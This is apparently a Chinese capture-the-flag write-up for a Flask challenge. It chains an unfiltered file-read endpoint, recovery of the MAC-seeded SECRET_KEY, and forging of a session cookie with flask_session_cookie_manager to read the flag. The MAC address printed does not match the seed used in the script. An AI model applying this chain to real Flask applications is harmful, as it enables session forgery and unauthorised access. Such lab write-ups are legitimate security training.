存在文件读取

1
/read?url=app.py

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! '

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

密钥会获取mac地址作为十六进制然后进行构造，读取硬件地址

1
2
3
/read?url=/sys/class/net/eth0/address

# 02:42:ac:10:00:0c

只要session的username是fuck就可以获取flag，写一个脚本获取secret，执行脚本的python版本要根据靶机来，靶机是python2，所以通过python2执行

1
2
3
4
5
6
7
import random

random.seed(0x0242AC100004)
SECRET_KEY = str(random.random() * 233)
print(SECRET_KEY)

# 24.682203850945427

解密尝试

1
2
python3 flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.aqAGEg.t0hSjRtPMrtjVwWqdnZIZEW1Bbg" -s 24.6822038509
{'username': b'www-data'}

然后进行加密

1
2
python3 flask_session_cookie_manager3.py encode -s 24.6822038509 -t "{'username': b'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.aqANqQ.-JYVJpd-jl5IhPymoZ0VG2P1al0

替换session后访问/flag得到flag